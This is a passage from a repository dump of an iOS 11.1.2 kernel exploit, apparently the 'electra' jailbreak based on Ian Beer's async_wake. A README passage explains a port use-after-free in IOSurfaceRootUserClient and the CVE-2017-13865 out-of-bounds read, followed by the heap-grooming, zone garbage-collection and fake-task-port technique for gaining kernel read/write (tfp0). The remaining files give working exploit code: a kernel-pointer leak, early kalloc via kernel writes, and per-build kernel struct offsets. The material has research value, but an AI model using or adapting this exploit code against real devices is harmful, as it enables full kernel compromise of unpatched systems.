then MIG will assume that the reference was not consumed by the external method and as such the MIG 29 | generated coode will drop a reference on the port. 30 | 31 | IOSurfaceRootUserClient external method 17 (s_set_surface_notify) will drop a reference on the wake_port 32 | (via IOUserClient::releaseAsyncReference64) then return an error code if the client has previously registered 33 | a port with the same callback function. 34 | 35 | The external method's error return value propagates via the return value of is_io_connect_async_method back to the 36 | MIG generated code which will drop a futher reference on the wake_port when only one was taken. 37 | 38 | I also use another bug: 39 | 40 | === CVE-2017-13865 === 41 | [https://bugs.chromium.org/p/project-zero/issues/detail?id=1372] 42 | the kernel libproc API proc_list_uptrs has the following comment in it's userspace header: 43 | 44 | /* 45 | * Enumerate potential userspace pointers embedded in kernel data structures. 46 | * Currently inspects kqueues only. 47 | * 48 | * NOTE: returned "pointers" are opaque user-supplied values and thus not 49 | * guaranteed to address valid objects or be pointers at all. 50 | * 51 | * Returns the number of pointers found (which may exceed buffersize), or -1 on 52 | * failure and errno set appropriately. 53 | */ 54 | 55 | This is a recent addition to the kernel, presumably as a debugging tool to help enumerate 56 | places where the kernel is accidentally disclosing pointers to userspace. 57 | 58 | The implementation currently enumerates kqueues and dumps a bunch of values from them. 59 | 60 | Here's the relevant code: 61 | 62 | // buffer and buffersize are attacker controlled 63 | 64 | int 65 | proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval) 66 | { 67 | uint32_t count = 0; 68 | int error = 0; 69 | void *kbuf = NULL; 70 | int32_t nuptrs = 0; 71 | 72 | if (buffer != USER_ADDR_NULL) { 73 | count = buffersize / sizeof(uint64_t); <---(a) 74 | if (count > MAX_UPTRS) { 75 | count = MAX_UPTRS; 76 | buffersize = count * sizeof(uint64_t); 77 | } 78 | if (count > 0) { 79 | kbuf = kalloc(buffersize); <--- (b) 80 | assert(kbuf != NULL); 81 | } 82 | } else { 83 | buffersize = 0; 84 | } 85 | 86 | nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize); 87 | 88 | if (kbuf) { 89 | size_t copysize; 90 | if (os_mul_overflow(nuptrs, sizeof(uint64_t), ©size)) { <--- (c) 91 | error = ERANGE; 92 | goto out; 93 | } 94 | if (copysize > buffersize) { <-- (d) 95 | copysize = buffersize; 96 | } 97 | error = copyout(kbuf, buffer, copysize); <--- (e) 98 | } 99 | 100 | 101 | At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's 102 | which can fit in there. 103 | 104 | If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b). 105 | 106 | kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of 107 | kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger 108 | than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf. 109 | 110 | This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf 111 | but how many *could* have been written had the buffer been big enough. 112 | 113 | If there were possible values which could have been written than there was space in the buffer then at (d) copysize 114 | will be limited down to buffersize. 115 | 116 | Copysize is then used at (e) to copy the contents of kbuf to userspace. 117 | 118 | The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1 119 | as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes. 120 | 121 | If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will 122 | only write to the first value to kbuf, leaving the last 7 bytes untouched. 123 | 124 | At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15) 125 | and at (e) 15 bytes will be copied back to userspace even though only 8 were written to. 126 | 127 | 128 | Exploit technique: 129 | I use the proc_pidlistuptrs bug to disclose the address of arbitrary ipc_ports. This makes stuff a lot simpler :) 130 | To find a port address I fill a bunch of different-sized kalloc allocations with a pointer to the target port via mach messages using OOL_PORTS. 131 | 132 | I then trigger the OOB read bug for various kalloc sizes and look for the most commonly leaked kernel pointer. Given the 133 | semantics of kalloc this works well. 134 | 135 | I make a pretty large number of kalloc allocations (via sending mach messages) in a kalloc size bin I won't use later, and I keep hold of them for now. 136 | 137 | I allocate a bunch of mach ports to ensure that I have a page containing only my ports. I use the port address disclosure to find 138 | a port which fits within particular bounds on a page. Once I've found it, I use the IOSurface bug to give myself a dangling pointer to that port. 139 | 140 | I free the kalloc allocations made earlier and all the other ports then start making kalloc.4096 allocations (again via crafted mach messages.) 141 | 142 | I do the reallocation slowly, 1MB at a time so that a kernel zone garbage collection will trigger and collect the page that the dangling pointer points to. 143 | 144 | The GC will trigger when the zone map is over 95% full. It's easy to do that, the trick is to make sure there's plenty of stuff which the GC can collect 145 | so that you don't get immediately killed by jetsam. All devices have the same sized zone map (384MB). 146 | 147 | The replacement kalloc.4096 allocations are ipc_kmsg buffers which contain a fake IKOT_TASK port pointing to a fake struct task. 148 | I use the bsdinfo->pid trick to build an arbitrary read with this (see details in async_wake.c.) 149 | 150 | With the arbitrary read I find the kernel task's vm_map and the kernel ipc_space. I then free and reallocate the kalloc.4096 buffer replacing it with a fake 151 | kernel task port. 152 | 153 | Limitations: 154 | The technique should work reliably enough for a security research tool. For me it works about 9/10 times. If you run it multiple times without rebooting, 155 | it will probably panic, the GC forcing and reallocating trick isn't particularly advanced. 156 | 157 | It's more likely to work after a fresh reboot. 158 | 159 | The tfp0 returned by get_kernel_memory_rw should be safe to keep using after the exploit process has exited, but I haven't tested that. 160 | 161 | Porting to other devices: 162 | 163 | Getting tfp0 should work for all devices running 11.1.2, it only requires structure offsets, not kernel symbols, which are unlikely to change between devices. 164 | To port the PoC kernel debugger you need to find the correct symbols and update symbols.c, hints are given there. 165 | 166 | For further discussion of this bug and other exploit techniques see: 167 | http://blog.pangu.io/iosurfacerootuserclient-port-uaf/ 168 | https://siguza.github.io/v0rtex/ 169 | -------------------------------------------------------------------------------- /electra/exploit/arm64_state.h: -------------------------------------------------------------------------------- 1 | #ifndef arm64_state_h 2 | #define arm64_state_h 3 | 4 | /* 5 | * GPR context 6 | */ 7 | 8 | struct arm_saved_state32 { 9 | uint32_t r[13]; /* General purpose register r0-r12 */ 10 | uint32_t sp; /* Stack pointer r13 */ 11 | uint32_t lr; /* Link register r14 */ 12 | uint32_t pc; /* Program counter r15 */ 13 | uint32_t cpsr; /* Current program status register */ 14 | uint32_t far; /* Virtual fault address */ 15 | uint32_t esr; /* Exception syndrome register */ 16 | uint32_t exception; /* Exception number */ 17 | }; 18 | typedef struct arm_saved_state32 arm_saved_state32_t; 19 | 20 | struct arm_saved_state32_tagged { 21 | uint32_t tag; 22 | struct arm_saved_state32 state; 23 | }; 24 | typedef struct arm_saved_state32_tagged arm_saved_state32_tagged_t; 25 | 26 | #define ARM_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ 27 | (sizeof (arm_saved_state32_t)/sizeof(unsigned int))) 28 | 29 | struct arm_saved_state64 { 30 | uint64_t x[29]; /* General purpose registers x0-x28 */ 31 | uint64_t fp; /* Frame pointer x29 */ 32 | uint64_t lr; /* Link register x30 */ 33 | uint64_t sp; /* Stack pointer x31 */ 34 | uint64_t pc; /* Program counter */ 35 | uint32_t cpsr; /* Current program status register */ 36 | uint32_t reserved; /* Reserved padding */ 37 | uint64_t far; /* Virtual fault address */ 38 | uint32_t esr; /* Exception syndrome register */ 39 | uint32_t exception; /* Exception number */ 40 | }; 41 | typedef struct arm_saved_state64 arm_saved_state64_t; 42 | 43 | #define ARM_SAVED_STATE64_COUNT ((mach_msg_type_number_t) \ 44 | (sizeof (arm_saved_state64_t)/sizeof(unsigned int))) 45 | 46 | struct arm_saved_state { 47 | arm_state_hdr_t ash; 48 | union { 49 | struct arm_saved_state32 ss_32; 50 | struct arm_saved_state64 ss_64; 51 | } uss; 52 | } __attribute__((aligned(16))); 53 | #define ss_32 uss.ss_32 54 | #define ss_64 uss.ss_64 55 | 56 | typedef struct arm_saved_state arm_saved_state_t; 57 | 58 | /* 59 | * NEON context 60 | */ 61 | typedef __uint128_t uint128_t; 62 | typedef uint64_t uint64x2_t __attribute__((ext_vector_type(2))); 63 | typedef uint32_t uint32x4_t __attribute__((ext_vector_type(4))); 64 | 65 | struct arm_neon_saved_state32 { 66 | union { 67 | uint128_t q[16]; 68 | uint64_t d[32]; 69 | uint32_t s[32]; 70 | } v; 71 | uint32_t fpsr; 72 | uint32_t fpcr; 73 | }; 74 | typedef struct arm_neon_saved_state32 arm_neon_saved_state32_t; 75 | 76 | #define ARM_NEON_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ 77 | (sizeof (arm_neon_saved_state32_t)/sizeof(unsigned int))) 78 | 79 | struct arm_neon_saved_state64 { 80 | union { 81 | uint128_t q[32]; 82 | uint64x2_t d[32]; 83 | uint32x4_t s[32]; 84 | } v; 85 | uint32_t fpsr; 86 | uint32_t fpcr; 87 | }; 88 | typedef struct arm_neon_saved_state64 arm_neon_saved_state64_t; 89 | 90 | #define ARM_NEON_SAVED_STATE64_COUNT ((mach_msg_type_number_t) \ 91 | (sizeof (arm_neon_saved_state64_t)/sizeof(unsigned int))) 92 | 93 | struct arm_neon_saved_state { 94 | arm_state_hdr_t nsh; 95 | union { 96 | struct arm_neon_saved_state32 ns_32; 97 | struct arm_neon_saved_state64 ns_64; 98 | } uns; 99 | }; 100 | typedef struct arm_neon_saved_state arm_neon_saved_state_t; 101 | #define ns_32 uns.ns_32 102 | #define ns_64 uns.ns_64 103 | 104 | struct arm_context { 105 | struct arm_saved_state ss; 106 | struct arm_neon_saved_state ns; 107 | }; 108 | typedef struct arm_context arm_context_t; 109 | 110 | #define ARM_SAVED_STATE64 0x15 111 | 112 | #define ARM_DEBUG_STATE64 15 113 | const uint64_t ACT_DEBUGDATA_OFFSET = 0x438; 114 | 115 | struct arm64_debug_state 116 | { 117 | __uint64_t bvr[16]; 118 | __uint64_t bcr[16]; 119 | __uint64_t wvr[16]; 120 | __uint64_t wcr[16]; 121 | __uint64_t mdscr_el1; /* Bit 0 is SS (Hardware Single Step) */ 122 | }; 123 | 124 | struct arm_debug_aggregate_state { 125 | arm_state_hdr_t dsh; 126 | struct arm64_debug_state ds64; 127 | } __attribute__((aligned(16))); 128 | 129 | 130 | 131 | #endif 132 | -------------------------------------------------------------------------------- /electra/exploit/async_wake.h: -------------------------------------------------------------------------------- 1 | #ifndef async_wake_h 2 | #define async_wake_h 3 | 4 | #include 5 | 6 | mach_port_t get_tfp0(mach_port_t*uc); 7 | 8 | #endif /* async_wake_h */ 9 | -------------------------------------------------------------------------------- /electra/exploit/early_kalloc.c: -------------------------------------------------------------------------------- 1 | // 2 | // early_kalloc.c 3 | // async_wake_ios 4 | // 5 | // Created by Ian Beer on 12/11/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include "early_kalloc.h" 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #include "find_port.h" 16 | #include "kmem.h" 17 | #include "symbols.h" 18 | 19 | extern int message_size_for_kalloc_size(int kalloc_size); 20 | 21 | // get a kalloc allocation before we've got a kcall interface to just call it 22 | uint64_t early_kalloc(int size) { 23 | mach_port_t port = MACH_PORT_NULL; 24 | kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 25 | if (err != KERN_SUCCESS) { 26 | printf("unable to allocate port\n"); 27 | } 28 | 29 | uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND); 30 | 31 | struct simple_msg { 32 | mach_msg_header_t hdr; 33 | char buf[0]; 34 | }; 35 | 36 | mach_msg_size_t msg_size = message_size_for_kalloc_size(size); 37 | struct simple_msg* msg = malloc(msg_size); 38 | memset(msg, 0, msg_size); 39 | 40 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 41 | msg->hdr.msgh_size = msg_size; 42 | msg->hdr.msgh_remote_port = port; 43 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 44 | msg->hdr.msgh_id = 0x41414142; 45 | 46 | err = mach_msg(&msg->hdr, 47 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 48 | msg_size, 49 | 0, 50 | MACH_PORT_NULL, 51 | MACH_MSG_TIMEOUT_NONE, 52 | MACH_PORT_NULL); 53 | 54 | if (err != KERN_SUCCESS) { 55 | printf("early kalloc failed to send message\n"); 56 | } 57 | 58 | // find the message buffer: 59 | 60 | uint64_t message_buffer = rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); 61 | printf("message buffer: %llx\n", message_buffer); 62 | 63 | // leak the message buffer: 64 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0); 65 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit 66 | 67 | 68 | return message_buffer; 69 | } 70 | -------------------------------------------------------------------------------- /electra/exploit/early_kalloc.h: -------------------------------------------------------------------------------- 1 | #ifndef early_kalloc_h 2 | #define early_kalloc_h 3 | 4 | #include 5 | 6 | uint64_t early_kalloc(int size); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /electra/exploit/find_port.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #include "find_port.h" 8 | #include "kmem.h" 9 | #include "symbols.h" 10 | #include "kutils.h" 11 | 12 | /* 13 | * this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372) 14 | * 15 | * It will reliably determine the kernel address of a mach port. 16 | * Knowing the addresses of ports makes the other UaF exploit much simpler. 17 | */ 18 | 19 | // missing headers 20 | #define KEVENT_FLAG_WORKLOOP 0x400 21 | 22 | typedef uint64_t kqueue_id_t; 23 | 24 | struct kevent_qos_s { 25 | uint64_t ident; /* identifier for this event */ 26 | int16_t filter; /* filter for event */ 27 | uint16_t flags; /* general flags */ 28 | uint32_t qos; /* quality of service when servicing event */ 29 | uint64_t udata; /* opaque user data identifier */ 30 | uint32_t fflags; /* filter-specific flags */ 31 | uint32_t xflags; /* extra filter-specific flags */ 32 | int64_t data; /* filter-specific data */ 33 | uint64_t ext[4]; /* filter-specific extensions */ 34 | }; 35 | 36 | #define PRIVATE 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | struct kevent_extinfo { 43 | struct kevent_qos_s kqext_kev; 44 | uint64_t kqext_sdata; 45 | int kqext_status; 46 | int kqext_sfflags; 47 | uint64_t kqext_reserved[2]; 48 | }; 49 | 50 | extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags); 51 | 52 | int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize); 53 | 54 | // appends n_events user events onto this process's kevent queue 55 | static void fill_events(int n_events) { 56 | struct kevent_qos_s events_id[] = {{ 57 | .filter = EVFILT_USER, 58 | .ident = 1, 59 | .flags = EV_ADD, 60 | .udata = 0x2345 61 | }}; 62 | 63 | kqueue_id_t id = 0x1234; 64 | 65 | for (int i = 0; i < n_events; i++) { 66 | int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL, 67 | KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE); 68 | 69 | if (err != 0) { 70 | printf(" [-] failed to enqueue user event\n"); 71 | exit(EXIT_FAILURE); 72 | } 73 | 74 | events_id[0].ident++; 75 | } 76 | } 77 | 78 | int kqueues_allocated = 0; 79 | 80 | static void prepare_kqueue() { 81 | // ensure there are a large number of events so that kevent_proc_copy_uptrs 82 | // always returns a large number 83 | if (kqueues_allocated) { 84 | return; 85 | } 86 | fill_events(10000); 87 | printf(" [+] prepared kqueue\n"); 88 | kqueues_allocated = 1; 89 | } 90 | 91 | // will make a kalloc allocation of (count*8)+7 92 | // and only write to the first (count*8) bytes. 93 | // the return value is those last 7 bytes uninitialized bytes as a uint64_t 94 | // (the upper byte will be set to 0) 95 | static uint64_t try_leak(int count) { 96 | int buf_size = (count*8)+7; 97 | char* buf = calloc(buf_size+1, 1); 98 | 99 | int err = proc_list_uptrs(getpid(), (void*)buf, buf_size); 100 | 101 | if (err == -1) { 102 | return 0; 103 | } 104 | 105 | // the last 7 bytes will contain the leaked data: 106 | uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc 107 | 108 | return last_val; 109 | } 110 | 111 | struct ool_msg { 112 | mach_msg_header_t hdr; 113 | mach_msg_body_t body; 114 | mach_msg_ool_ports_descriptor_t ool_ports; 115 | }; 116 | 117 | // fills a kalloc allocation with count times of target_port's struct ipc_port pointer 118 | // To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right 119 | static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) { 120 | // allocate a port to send the message to 121 | mach_port_t q = MACH_PORT_NULL; 122 | kern_return_t err; 123 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); 124 | if (err != KERN_SUCCESS) { 125 | printf(" [-] failed to allocate port\n"); 126 | exit(EXIT_FAILURE); 127 | } 128 | 129 | mach_port_t* ports = malloc(sizeof(mach_port_t) * count); 130 | for (int i = 0; i < count; i++) { 131 | ports[i] = target_port; 132 | } 133 | 134 | struct ool_msg* msg = calloc(1, sizeof(struct ool_msg)); 135 | 136 | msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 137 | msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); 138 | msg->hdr.msgh_remote_port = q; 139 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 140 | msg->hdr.msgh_id = 0x41414141; 141 | 142 | msg->body.msgh_descriptor_count = 1; 143 | 144 | msg->ool_ports.address = ports; 145 | msg->ool_ports.count = count; 146 | msg->ool_ports.deallocate = 0; 147 | msg->ool_ports.disposition = disposition; 148 | msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 149 | msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; 150 | 151 | err = mach_msg(&msg->hdr, 152 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 153 | (mach_msg_size_t)sizeof(struct ool_msg), 154 | 0, 155 | MACH_PORT_NULL, 156 | MACH_MSG_TIMEOUT_NONE, 157 | MACH_PORT_NULL); 158 | 159 | if (err != KERN_SUCCESS) { 160 | printf(" [-] failed to send message: %s\n", mach_error_string(err)); 161 | exit(EXIT_FAILURE); 162 | } 163 | 164 | return q; 165 | } 166 | 167 | static int uint64_t_compare(const void* a, const void* b) { 168 | uint64_t a_val = (*(uint64_t*)a); 169 | uint64_t b_val = (*(uint64_t*)b); 170 | if (a_val < b_val) { 171 | return -1; 172 | } 173 | if (a_val == b_val) { 174 | return 0; 175 | } 176 | return 1; 177 | } 178 | 179 | uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) { 180 | prepare_kqueue(); 181 | 182 | int n_guesses = 100; 183 | uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t)); 184 | int valid_guesses = 0; 185 | 186 | for (int i = 1; i < n_guesses+1; i++) { 187 | mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition); 188 | mach_port_destroy(mach_task_self(), q); 189 | uint64_t leaked = try_leak(i-1); 190 | //printf("leaked %016llx\n", leaked); 191 | 192 | // a valid guess is one which looks a bit like a kernel heap pointer 193 | // without the upper byte: 194 | if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) { 195 | guesses[valid_guesses++] = leaked | 0xff00000000000000; 196 | } 197 | } 198 | 199 | if (valid_guesses == 0) { 200 | printf(" [-] couldn't leak any kernel pointers\n"); 201 | exit(EXIT_FAILURE); 202 | } 203 | 204 | // return the most frequent guess 205 | qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare); 206 | 207 | uint64_t best_guess = guesses[0]; 208 | int best_guess_count = 1; 209 | 210 | uint64_t current_guess = guesses[0]; 211 | int current_guess_count = 1; 212 | for (int i = 1; i < valid_guesses; i++) { 213 | if (guesses[i] == guesses[i-1]) { 214 | current_guess_count++; 215 | if (current_guess_count > best_guess_count) { 216 | best_guess = current_guess; 217 | best_guess_count = current_guess_count; 218 | } 219 | } else { 220 | current_guess = guesses[i]; 221 | current_guess_count = 1; 222 | } 223 | } 224 | 225 | //printf("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses); 226 | 227 | free(guesses); 228 | 229 | return best_guess; 230 | } 231 | 232 | uint64_t find_port_via_kmem_read(mach_port_name_t port) { 233 | uint64_t task_port_addr = task_self_addr(); 234 | 235 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 236 | 237 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 238 | 239 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 240 | 241 | uint32_t port_index = port >> 8; 242 | const int sizeof_ipc_entry_t = 0x18; 243 | 244 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); 245 | return port_addr; 246 | } 247 | 248 | uint64_t find_port_address(mach_port_t port, int disposition) { 249 | if (have_kmem_read()) { 250 | return find_port_via_kmem_read(port); 251 | } 252 | return find_port_via_proc_pidlistuptrs_bug(port, disposition); 253 | } 254 | -------------------------------------------------------------------------------- /electra/exploit/find_port.h: -------------------------------------------------------------------------------- 1 | #ifndef find_port_h 2 | #define find_port_h 3 | 4 | #include 5 | 6 | uint64_t find_port_address(mach_port_t port, int disposition); 7 | 8 | #endif /* find_port_h */ 9 | -------------------------------------------------------------------------------- /electra/exploit/kcall.h: -------------------------------------------------------------------------------- 1 | #ifndef kcall_h 2 | #define kcall_h 3 | 4 | void kprintstr(char* msg); 5 | void test_kcall(void); 6 | //void kcall(uint64_t fptr, uint64_t arg0, uint64_t arg1); 7 | uint64_t kcall(uint64_t fptr, uint32_t argc, ...); 8 | #endif 9 | -------------------------------------------------------------------------------- /electra/exploit/kdbg.h: -------------------------------------------------------------------------------- 1 | #ifndef kdbg_h 2 | #define kdbg_h 3 | 4 | void test_kernel_bp(void); 5 | uint64_t pin_current_thread(void); 6 | void test_kdbg(void); 7 | void test_fp(void); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /electra/exploit/kmem.h: -------------------------------------------------------------------------------- 1 | #ifndef kmem_h 2 | #define kmem_h 3 | 4 | #include 5 | 6 | uint32_t rk32(uint64_t kaddr); 7 | uint64_t rk64(uint64_t kaddr); 8 | 9 | void wk32(uint64_t kaddr, uint32_t val); 10 | void wk64(uint64_t kaddr, uint64_t val); 11 | 12 | void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length); 13 | void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length); 14 | 15 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length); 16 | 17 | void kmem_protect(uint64_t kaddr, uint32_t size, int prot); 18 | 19 | uint64_t kmem_alloc(uint64_t size); 20 | uint64_t kmem_alloc_wired(uint64_t size); 21 | void kmem_free(uint64_t kaddr, uint64_t size); 22 | 23 | void prepare_rk_via_kmem_read_port(mach_port_t port); 24 | void prepare_rwk_via_tfp0(mach_port_t port); 25 | 26 | // query whether kmem read or write is present 27 | int have_kmem_read(void); 28 | int have_kmem_write(void); 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /electra/exploit/symbols.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "symbols.h" 7 | #include "kmem.h" 8 | #include "kutils.h" 9 | 10 | // the offsets are unlikely to change between similar models and builds, but the symbol addresses will 11 | // the offsets are required to get the kernel r/w but the symbols aren't 12 | 13 | int* offsets = NULL; 14 | 15 | 16 | /* iOS 11.1.2 */ 17 | int kstruct_offsets_15B202[] = { 18 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 19 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 20 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 21 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 22 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 23 | 0x30, // KSTRUCT_OFFSET_TASK_PREV, 24 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE 25 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 26 | 27 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 28 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 29 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 30 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 31 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 32 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 33 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 34 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 35 | 36 | 0x10, // KSTRUCT_OFFSET_PROC_PID, 37 | 38 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 39 | 40 | 0x180, // KSTRUCT_OFFSET_THREAD_BOUND_PROCESSOR 41 | 0x188, // KSTRUCT_OFFSET_THREAD_LAST_PROCESSOR 42 | 0x190, // KSTRUCT_OFFSET_THREAD_CHOSEN_PROCESSOR 43 | 0x408, // KSTRUCT_OFFSET_THREAD_CONTEXT_DATA 44 | 0x410, // KSTRUCT_OFFSET_THREAD_UPCB 45 | 0x418, // KSTRUCT_OFFSET_THREAD_UNEON 46 | 0x420, // KSTRUCT_OFFSET_THREAD_KSTACKPTR 47 | 48 | 0x54, // KSTRUCT_OFFSET_PROCESSOR_CPU_ID 49 | 50 | 0x28, // KSTRUCT_OFFSET_CPU_DATA_EXCEPSTACKPTR 51 | 0X78, // KSTRUCT_OFFSET_CPU_DATA_CPU_PROCESSOR 52 | }; 53 | 54 | int koffset(enum kstruct_offset offset) { 55 | if (offsets == NULL) { 56 | printf("need to call symbols_init() prior to querying offsets\n"); 57 | return 0; 58 | } 59 | return offsets[offset]; 60 | } 61 | 62 | // this is the base of the kernel, not the kernelcache 63 | uint64_t kernel_base = 0; 64 | uint64_t* symbols = NULL; 65 | uint64_t kaslr_slide = 0; 66 | 67 | uint64_t ksym(enum ksymbol sym) { 68 | if (kernel_base == 0) { 69 | if (!have_kmem_read()) { 70 | printf("attempted to use symbols prior to gaining kernel read\n"); 71 | return 0; 72 | } 73 | kernel_base = find_kernel_base(); 74 | kaslr_slide = find_kernel_base() - 0xFFFFFFF007004000; 75 | } 76 | //return symbols[sym] + kernel_base; 77 | return symbols[sym] + kaslr_slide; 78 | } 79 | 80 | int have_syms = 0; 81 | int probably_have_correct_symbols() { 82 | return have_syms; 83 | } 84 | 85 | void offsets_init() { 86 | size_t size = 32; 87 | char build_id[size]; 88 | memset(build_id, 0, size); 89 | int err = sysctlbyname("kern.osversion", build_id, &size, NULL, 0); 90 | if (err == -1) { 91 | printf("failed to detect version (sysctlbyname failed\n"); 92 | return; 93 | } 94 | printf("build_id: %s\n", build_id); 95 | 96 | struct utsname u = {0}; 97 | uname(&u); 98 | 99 | printf("sysname: %s\n", u.sysname); 100 | printf("nodename: %s\n", u.nodename); 101 | printf("release: %s\n", u.release); 102 | printf("version: %s\n", u.version); 103 | printf("machine: %s\n", u.machine); 104 | 105 | // set the offsets 106 | 107 | if (strcmp(build_id, "15B93") == 0 || strcmp(build_id, "15B150") == 0 || strcmp(build_id, "15B202") == 0) { 108 | offsets = kstruct_offsets_15B202; 109 | } else { 110 | offsets = kstruct_offsets_15B202; 111 | printf("unknown kernel build. If this is iOS 11 it might still be able to get tfp0, trying anyway\n"); 112 | have_syms = 0; 113 | return; 114 | } 115 | } 116 | 117 | 118 | -------------------------------------------------------------------------------- /electra/exploit/symbols.h: -------------------------------------------------------------------------------- 1 | #ifndef symbols_h 2 | #define symbols_h 3 | 4 | #include 5 | 6 | enum kstruct_offset { 7 | /* struct task */ 8 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 9 | KSTRUCT_OFFSET_TASK_REF_COUNT, 10 | KSTRUCT_OFFSET_TASK_ACTIVE, 11 | KSTRUCT_OFFSET_TASK_VM_MAP, 12 | KSTRUCT_OFFSET_TASK_NEXT, 13 | KSTRUCT_OFFSET_TASK_PREV, 14 | KSTRUCT_OFFSET_TASK_ITK_SPACE, 15 | KSTRUCT_OFFSET_TASK_BSD_INFO, 16 | 17 | /* struct ipc_port */ 18 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 19 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 20 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 21 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 22 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 23 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 24 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 25 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 26 | 27 | /* struct proc */ 28 | KSTRUCT_OFFSET_PROC_PID, 29 | 30 | /* struct ipc_space */ 31 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE, 32 | 33 | /* struct thread */ 34 | KSTRUCT_OFFSET_THREAD_BOUND_PROCESSOR, 35 | 